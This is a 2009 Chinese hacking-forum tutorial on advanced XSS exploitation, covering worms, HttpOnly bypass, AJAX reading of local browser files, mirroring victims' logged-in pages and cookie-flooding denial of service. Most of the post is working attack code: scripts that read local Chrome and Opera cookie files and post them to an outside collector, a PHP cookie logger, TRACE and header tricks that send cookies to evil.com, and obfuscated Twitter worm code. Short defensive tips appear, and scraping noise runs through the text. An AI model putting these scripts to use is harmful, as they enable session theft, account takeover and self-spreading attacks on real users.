XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页) m5 s! |. ^6 ~; r
本帖最后由 racle 于 2009-5-30 09:19 编辑
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XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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& f- A5 ?0 _: U/ k0 zhttp://bbs.tian6.com/thread-12711-1-1.html
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-------------------------------------------前言---------------------------------------------------------, D$ k/ Y- e' i( Y2 M, K
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# t, I! f, h- D, f1 B1 e# a本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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如果你还未具备基础XSS知识,以下几个文章建议拜读:
" G8 K- V# b" r ~3 G dhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
0 J. H: B& `2 H( z0 O% K) |9 lhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
# e* o, f5 T/ Thttp://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
$ [9 A/ z& C" a/ p2 N5 P" Ahttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
& A* x6 K$ |8 r- l0 X+ Yhttp://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
/ T: B% H( f/ P0 a$ Xhttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
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如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.! n/ p+ ?5 L( v, U* `; ~, i
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希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
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" x6 X: T* M3 E如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,. G5 y9 `. @& b: d+ q7 Y# G& w; U
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
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" H/ D8 w9 `9 R5 S! r1 EQQ ZONE,校内网XSS 感染过万QQ ZONE.
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0 o4 ^1 M. N7 P1 y! `# DOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪- _0 T) U, E$ T8 Q8 v8 o
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9 [' N' F5 A$ m' ?4 t6 |( k+ U复制代码------------------------------------------介绍-------------------------------------------------------------$ `1 w' x q; R; \% i* x q
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.5 v" C% s( g8 d4 {7 D1 Z
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# L' a: n+ d- Q- A! f( h! ]" P3 R跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.* l! F! T" R( }+ w( R9 a3 ]
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4 {9 d5 d ^1 I$ A) Z4 o6 u如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
! S# z( `# ~6 r; k- P复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
% ?/ I7 i" R! E$ H我们在这里重点探讨以下几个问题:
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1 通过XSS,我们能实现什么?
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" N D$ ]) q; A3 W; R3 H6 Q8 X2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救? v k9 O/ ~% j/ }2 W9 V
- G# Z i: H! n) j5 i% @! c7 c3 XSS的高级利用和高级综合型XSS蠕虫的可行性?; W- k7 D7 y- c! F" @7 [# r ^
* y& v, G& p% ~1 X i# U! r4 XSS漏洞在输出和输入两个方面怎么才能避免.
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------------------------------------------研究正题----------------------------------------------------------
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1 C8 v+ M" n$ i. g2 v通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
7 ?4 U0 Y+ H! o- B. Q. `复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫* G( i$ Z, ` t" ?3 p( y4 ~
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
) r: N5 Q. p1 ]) \1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.: w5 Z: k1 e+ J+ c K% N H
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.8 k7 T0 l" S3 u* x
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内., ?4 m+ N, d8 R2 s/ x9 W
4:Http-only可以采用作为COOKIES保护方式之一.
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(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者): T: w; m' p" m/ A- d+ K' h0 L. |
L& }; |6 [2 z* [! k; G我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)% T0 L1 K, D6 u3 z1 _5 H3 d: ]
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。/ R4 O8 x. |- E' H
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. Z2 L! ^1 L, w 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。% ]: }0 r$ l/ S- g
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5 t6 Y) V5 w. q( _& X8 g 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.* _8 N/ N( b& T) r( M6 W( k1 A$ P
复制代码IE6使用ajax读取本地文件 <script> |5 d0 g' g3 b6 E
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function $(x){return document.getElementById(x)}5 U! i! ]# B: E7 B
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function ajax_obj(){
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if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();1 y$ L, j3 ~ b2 s- C# y
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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request = new ActiveXObject(versions);
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} catch(e) {}
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}
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return request;6 |1 P7 }& L1 M* e+ J9 x: R
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var _x = ajax_obj();
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function _7or3(_m,action,argv){
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if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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return _x.responseText;
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}
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alert(txt);2 z0 B$ V+ S: `' N
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</script>
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function ajax_obj(){
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var request = false;( z" c0 r/ O( F% H) b; \
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} else if(window.ActiveXObject) {3 V$ [/ e9 h5 d+ E+ `
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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for(var i=0; i<versions.length; i++) {
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try {' [' C8 |, I( t& m z* ?. w
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} catch(e) {}
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}; x8 M0 M% m: x2 p# `. ]6 u. O8 ?$ ~) `
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" x% s/ n! v% d* X4 b function _7or3(_m,action,argv){
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if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");. m1 \7 H) o' c# a
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_x.send(argv);
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}
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alert(txt);- m$ [' E1 Z7 A. P3 v+ b4 @
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</script>
" @1 N, y7 d0 @3 L: V复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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/ k( R5 q; f9 x5 S- | Q: ]& nChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History", f+ p; O, K5 L' P
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3 S0 k/ i; r/ j2 \1 f- a4 S Chrome 1.0.154.53 use ajax read local txt file and upload exp
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author voidloafer@gmail.com 2009-4-22 , ~ r& g7 N6 D5 W7 s$ k4 ?
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. ; i* B3 Z3 E! q! F' i
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header("Content-Disposition: attachment;filename=kxlzx.htm"); 5 {% d( S$ S2 R+ @
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header("Content-type: application/kxlzx");
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+ C6 ], f6 b* r( H set header, so just download html file,and open it at local. " b0 e1 x* _6 J1 d8 N* }7 P) _. U
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">
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<input id="input" name="cookie" value="" type="hidden">
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</form> ) c- ?4 b& R& H1 e
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<script>
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function doMyAjax(user)
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{
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/ X( t, q7 m$ R' W, n7 Ivar time = Math.random();
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/* ( Q) i; E* _- `0 o3 z8 J/ B. A
0 t. e8 @; t& Vthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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* |/ f3 Z- F) f- kand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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2 L1 r/ a7 Z& w; |1 @& o# pvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
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' ]6 P5 i! |" _, j5 L; m$ P/ {startRequest(strPer); % _/ k! M: c0 }/ [
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function Enshellcode(txt) ! [- ~# }) |2 `5 M
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var url=new String(txt); - v/ m% I! M1 ?5 s) l
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var i=0,l=0,k=0,curl=""; $ n( E8 s9 G. X3 H; f7 O- F
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l= url.length;
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, d" n4 H) E( Z1 Q* d& D6 E! a4 ?for(;i<l;i++){
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k=url.charCodeAt(i);
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, T3 B9 S0 m1 M$ Qif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
{; R3 K+ q+ V4 b1 g4 E" W6 o) R5 E! E) l8 _% {9 A c2 B7 ]* {, `
if (l%2){curl+="00";}else{curl+="0000";} 3 S& i8 r$ A! T1 y3 N. y5 r3 R1 B2 F
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curl=curl.replace(/(..)(..)/g,"%u$2$1"); $ V# z5 i) }. N) \, L$ R
$ {. c7 Y! w; M1 _2 Oreturn curl; 1 b0 Y9 Z- y8 x) ^3 ~, |1 x& g
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}
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var xmlHttp;
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+ ~+ E) P0 C0 H- `+ D% cfunction createXMLHttp(){
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. |% ~ {' `: h2 s- b+ ]+ x if(window.XMLHttpRequest){
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+ x7 Z$ o8 @9 YxmlHttp = new XMLHttpRequest(); ' C- U$ Z* }* z% e! O3 K7 t
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}
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2 L3 d c6 U ^! h% c0 q else if(window.ActiveXObject){
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 4 _; }$ U7 y+ ]/ e Y7 D/ e8 A
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}
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. b, ^$ f3 r$ h5 k5 E1 |}
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& V$ R# q Q' w) Xfunction startRequest(doUrl){
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$ T3 i; F; S$ t0 `. ]: \! l9 }7 I+ S& d createXMLHttp(); ' o3 u4 h; S9 l0 N
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, {2 m J$ q% A' G% U* ~3 } xmlHttp.onreadystatechange = handleStateChange; ! T; {. q' o# P! @# J
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xmlHttp.open("GET", doUrl, true); " d9 [1 f3 G+ x j$ K
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" {( o3 J( n' @# d1 F" x' E! Y xmlHttp.send(null); * v4 d1 E/ v5 u
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- h' Z* Q1 W2 q& m- i% N}
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+ V/ @$ @0 B6 ]' |4 R6 W5 n
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function handleStateChange(){
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if (xmlHttp.readyState == 4 ){
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var strResponse = ""; * {& @2 x& B8 a9 \6 d
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setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); * m. y( m! f8 {* a3 t$ v( r3 ?# f
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9 [2 w4 c+ \ f
}
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8 [; Y& B$ ?8 v* }+ }
function framekxlzxPost(text) 5 u7 z& h; @. W- {
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{ " j. }6 B5 ^" M7 {. {0 a6 ]2 I
: s" @3 _3 {9 C, f) ` document.getElementById("input").value = Enshellcode(text); " Q/ H k; L8 @- u; U
+ j% v/ M1 B/ B) u) L6 R document.getElementById("form").submit();
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J" W3 E+ j$ }4 T- QdoMyAjax("administrator"); " l! L2 `) h5 D6 [
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</script>. P' Z/ w' p% p& Z5 U
复制代码opera 9.52使用ajax读取本地COOKIES文件<script> / I8 |( f) R2 y/ P4 Y: q
/ @9 A! o3 o% j% Xvar xmlHttp;
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, P- n; J) Y; O3 x2 r% `# K+ Z% Efunction createXMLHttp(){
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9 U4 I# l3 `6 ^1 T5 r3 V if(window.XMLHttpRequest){
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xmlHttp = new XMLHttpRequest();
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}
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else if(window.ActiveXObject){ + `5 ]" e) t9 C6 o# Q0 D. U( E
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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} 0 h, j6 N8 q) v# w
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function startRequest(doUrl){
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createXMLHttp();
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$ ^7 w4 X$ d# l' s5 ~5 m ) _& p# o9 \. | x7 G2 H* r7 q
2 U3 r! Q% [4 o xmlHttp.onreadystatechange = handleStateChange; 9 B) H# }0 B3 r& H6 b- P
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z. r& [; c, z3 L6 [
* S2 i! l8 `% Y# V4 s xmlHttp.open("GET", doUrl, true);
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" p- \) i3 i) p( a, d xmlHttp.send(null); & s- J4 B0 G Q5 c% o. m6 m
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} 9 y8 ?+ T' ^! @2 {: y; a* g* ^: b
7 d" P% W2 Y+ ~/ }; H4 C( `8 ?
6 O5 m l) [, v' N/ U& Z4 |% j/ ~6 g2 S1 a. N# T9 h+ f$ t d2 _
function handleStateChange(){ - u% |# Z- J5 }2 j6 q
: w3 j9 z9 k, c8 Q5 { if (xmlHttp.readyState == 4 ){ ; a4 U2 X/ A3 }4 q% D
+ Z5 D$ v8 w4 d# C& d
var strResponse = "";
# X& V8 N+ l" l+ I" E
; }, E( i6 q7 p% A6 x S setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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} 0 p, _ D9 k: g5 ]6 u9 Z
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+ ?) D! a, c9 |; }function doMyAjax(user,file)
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- Y2 C, |, \6 h% X' m3 I7 y6 b{ " O) P4 x' p3 K2 }) ~
2 \$ a' L. z" i, D var time = Math.random(); & z! i0 @8 C- d6 V" C |
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var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; " x& d `0 r4 H3 j$ X% t4 T4 ?# X. ?
- s: }2 Q) j* K4 X' X
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; n" d8 @. r+ J4 f1 k) Z startRequest(strPer); ; t7 s, L. z b- n, V& j
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} , D3 f! L6 i: E8 S, v2 R% T
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& X+ l. Y$ {& e! w' ^6 o
0 D/ C% r9 A. I4 o7 H y* E/ Ffunction framekxlzxPost(text) . m2 P/ F0 I5 m/ Y* u! B
% k0 P1 V: {5 B( o3 l U
{
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document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); * m- {% D5 X2 k i, [" I& `
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alert(/ok/);
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! c/ h1 |1 h3 d" o}
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) N, ?* ?9 A; m; edoMyAjax('administrator','administrator@alibaba[1].txt');
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+ ~9 C, R% k2 W. w3 H& N
8 g# A8 M& m7 }6 Q. K4 J: `% n# o</script>" K) p% V, E5 [( x- v1 W9 k
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/ z; ]! W5 F* V" P6 V" Xa.php
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4 {2 C: i9 }( G; K- w* ~ Q o1 F<?php
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$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
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/ H% _" U6 I. ]$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; 0 Y: H, u5 d$ y0 w: z! o
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# |3 H$ M5 F3 x0 u, H4 D$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
2 I, l. j0 z. [
% |% A9 M7 N0 b qfwrite($fp,$_GET["cookie"]); : g+ J6 m% `, t. X& C3 C7 W; U9 o& ^
! g, I/ n% j, Bfclose($fp); ! N2 T$ m, Y9 M0 A; o
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?> , ]7 d- D2 F' Q H) \4 S
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:: v4 ^# j s4 {% H5 f6 d; x3 k# n
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或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用. k+ }! I% h) [7 U4 K
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.. [2 Z: e$ D7 P' _# b. W, a8 D3 Z
' F* `9 n+ {9 n6 s k! j* H' F代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);0 `* v% G" k& }/ w F( r& u
- z0 v+ T! h- w$ X; ^3 W8 P//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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+ H" A, ]( |& n \1 {0 \//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);- D R3 v% Q) Z; u0 ]
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function getURL(s) {
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var image = new Image();) F% b9 e2 X% c! K
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image.style.width = 0;
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image.style.height = 0;% U& }+ Z- V2 Y6 s% T9 h
! U: C+ @) B# j4 fimage.src = s;" O7 c9 M' Y" N8 Y w+ z+ Q8 r4 Q# R
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}
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getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);/ E: E! ^' [$ F" W, d. b
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等., O. V9 Q' c$ ]. k2 ~
这里引用大风的一段简单代码:<script language="javascript">
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var metastr = "AAAAAAAAAA"; // 10 A8 }! S( D6 y. u3 H) A
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var str = "";
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! t2 A) r. J% q5 n' y- S. _while (str.length < 4000){5 j ?4 V% L; O0 Y$ d' c! C) _; i
3 y+ }# @& J9 [( n; _ str += metastr;
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}
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0 K' w! l4 [( f% zdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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</script>& A/ }4 K( y0 h) J
+ t. B& h+ E9 L( Q详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html8 j0 Y' Q7 G, `: F5 J
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.! Y8 r4 e% v# v! _$ j& T- v
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
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假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
& m. c6 m5 s8 G2 z% m0 R攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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(III) Http only bypass 与 补救对策:
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什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.& p) x! [# F& X( ]" @
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
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<!--
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q. `0 }7 ~5 Y s9 W7 ?3 Ofunction normalCookie() {
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& O7 j8 ?; B4 X I: Jdocument.cookie = "TheCookieName=CookieValue_httpOnly";
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, n& L' s! \2 U7 s D5 Jalert(document.cookie);
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; w1 Z/ Y7 x0 H}
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; k% K0 {$ t( S0 [7 ~7 ^5 F+ l( N
3 O8 ^7 o" C. j' t8 m; B. f
function httpOnlyCookie() { + o4 j" o- t& c+ M U
: [0 F4 E& f( \: tdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; 3 u) t; |# y# h9 u# U# E
4 u1 {, W6 a, q: `alert(document.cookie);}
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/ ~2 \, Z) i* C$ Q9 f//-->
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) X" k* Z! u: r8 u' A) r7 C</script>
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<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>4 X" O* s8 R- ^
% C& F' M% Y4 n<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
g# S/ S3 p( p1 h" @复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
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var request = false;
; c& P+ q4 h; }7 H
/ q! d- ^0 a6 Q0 X if(window.XMLHttpRequest) {0 s: R3 G: O; U: A$ O6 j
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request = new XMLHttpRequest();
$ v2 V/ N7 a; k" k) u6 @
8 S o3 [6 z( l/ \( F if(request.overrideMimeType) {
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9 p5 `" x, s$ @) y! C" D request.overrideMimeType('text/xml');) m0 S9 D5 O7 | {# T
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} else if(window.ActiveXObject) {
# F; o1 J2 F/ m- }' Y- r% S. l% L4 d# i/ f% T; b# @) ^& W
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {
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+ n. E( E' J( [/ c$ `- I( e try {5 }2 y6 \! Z0 ?* ^
' u0 a; B' x8 Z: K+ F request = new ActiveXObject(versions);" p" n# o5 Z9 ]9 M* P
4 E4 p5 B. t9 u8 X; v. u2 c
} catch(e) {}
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}
+ m5 \7 Z8 e" s) P3 P
6 m$ V$ H) Z+ y C } q8 ]% q" K: a/ t
( ^9 P7 c- {9 ^2 [& j# P/ QxmlHttp=request;2 g7 S; n- p Z4 p; G j3 u/ M; Y. Q
9 k; C- a9 o$ M2 k- m. n$ f
xmlHttp.open("TRACE","http://www.vul.com",false);4 m4 r- `0 W& T, D3 y5 H
7 {6 P* Z7 Y* k# D: G1 P WxmlHttp.send(null);( u, b/ E2 u% h3 S, X2 g
: q9 B0 ]; k3 r3 b' W/ S* i% f' `6 G
xmlDoc=xmlHttp.responseText;" o: T2 K2 K. y6 v: W) y
8 l! a- g+ ]7 b* u! B9 ]alert(xmlDoc);4 ~) S/ z! |( t! e4 {
/ ?# h3 q1 R2 N6 {* _. X u</script>
- e- H& j( [+ v y; B复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>) O; A, C0 f- e$ ~
, H5 I( ]. K9 O1 x0 ?
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
; F9 q7 D8 n0 G2 B4 G/ [, H, J+ w2 F2 W Q& j
XmlHttp.open("GET","http://www.google.com",false);
1 P5 V/ }* j6 Q! r; H/ h* I
; i5 q0 Y* O1 \ c3 C2 E7 o; d& a! k2 NXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");6 l; N7 z2 b( J4 P( f0 _1 f% K. i
2 z# j, E4 g0 t4 a. h4 S
XmlHttp.send(null);( A3 D8 ?% d& l* N7 f2 g
$ K5 ^' ]' C1 P8 Lvar resource=xmlHttp.responseText
( `3 a! L6 e- R* V! ]( X0 z9 \: Z$ q- Y3 r) m2 y0 A3 O1 ~
resource.search(/cookies/);3 ~! `1 O! e/ \! K1 P/ T6 Z" O
9 D) S# e2 I4 e, P4 j6 E h
......................
8 T0 Q9 H6 J. R/ B0 C) ^8 Z; j' ]5 I( _- ?" Q' k3 W
</script>% N7 n" v* N' }, c8 V* p3 u
( K' ]1 ^/ x) ^# [, N% |
1 j3 H& N, p' H1 t
. X' E' K% I% ?/ h
5 m. G# d2 i: z" R; C2 w: F0 B
6 F/ ?; a! H6 a U/ [" b: H7 I如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
7 w, r, u. j1 w& }5 V
. p! {$ u s3 t! \4 d" I3 R2 x6 n[code]$ M! F* K# |, F! L9 G- g
% D: s1 v9 M( I* s- _, lRewriteEngine On. \; n j& \1 _/ q, E/ E5 x
0 D0 j4 t2 v0 B5 E/ N/ ^. m
RewriteCond %{REQUEST_METHOD} ^TRACE2 ^7 \/ [, g {8 A) ]" F$ I4 D/ j
5 o3 z t' m* t2 yRewriteRule .* - [F]
, ]& d2 S" \1 Q5 b# M5 e7 Y- W2 M9 s& y1 [* E' B4 o
; Q2 J8 y, C$ B+ i- d" Z( g9 G/ h
/ T& `8 h0 c1 d- p1 J$ y1 }: }. I5 KSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
( N% R, z5 @1 \ p% a( Y: s) G& L- w+ n& r0 ^( O# K
acl TRACE method TRACE; K" u2 C4 n7 D4 I3 z* A- t
: V( [+ V" O8 O! b
...! L: E* t, [: d, r
7 V: j6 @7 ~$ a+ F4 i f3 ~http_access deny TRACE j! V" g: S5 o G
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>. K( m/ v8 g7 |, C# @5 W
7 m7 \2 F6 ]' v' w4 E2 G1 W& R' ~/ G
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");! y* n+ O6 y2 S6 Q
9 Y" g( S8 r1 i- z1 G# ^; h5 m0 Q1 OXmlHttp.open("GET","http://www.google.com",false);2 \: }4 T% l6 B' t, R N
! `8 V1 E- p) VXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
6 O, Y3 v1 \. |( c% F, F4 W6 s9 n+ Q0 Q! E) V" z) N* I+ B! S
XmlHttp.send(null);
0 O e: I8 a9 @2 L# Y% E; o% O, A' ~0 D5 k `7 b
</script>
: J8 i. E) C4 k" Y复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
$ t7 U& ~ E+ \9 k: } L) |& e
% y! ?' e4 ~% p/ Yvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
5 U# m3 M" ?# D- X
; [- I* L/ B) U/ ^7 c" \3 s6 w7 Z$ n4 z e# T+ M2 \
5 }) b, E( i" F7 T/ D( E, ~XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);- ?* s2 U e! k" B" ?4 \) `
0 f- H! J3 T( P; BXmlHttp.send(null);
% T# v! c% v, d/ c1 W, a u ?8 \9 a
<script>6 C! H. ]8 |- u! g8 d8 G
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
# _2 t; P. @/ ?4 p$ T9 k; ]6 X复制代码案例:Twitter 蠕蟲五度發威
" d* n% T0 O# e0 U9 ^2 @# J第一版:
5 S8 {: H4 h5 n5 I& y9 f8 e! Y 下载 (5.1 KB)& B" l* Z# a, ?+ T; h& V/ x
1 x2 v1 K# t% {4 [6 天前 08:272 b* \" x+ g/ K$ r, J, ~4 a# l0 e
* O3 Y" P# u4 T# k第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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2. : N% n! E# T; P& k' \
! e3 s5 |/ n, k; c4 J1 W& V 3. function XHConn(){ 9 c5 p- U9 U1 B5 Q" ^2 x
0 i' m2 L# ]8 R* o5 z1 h
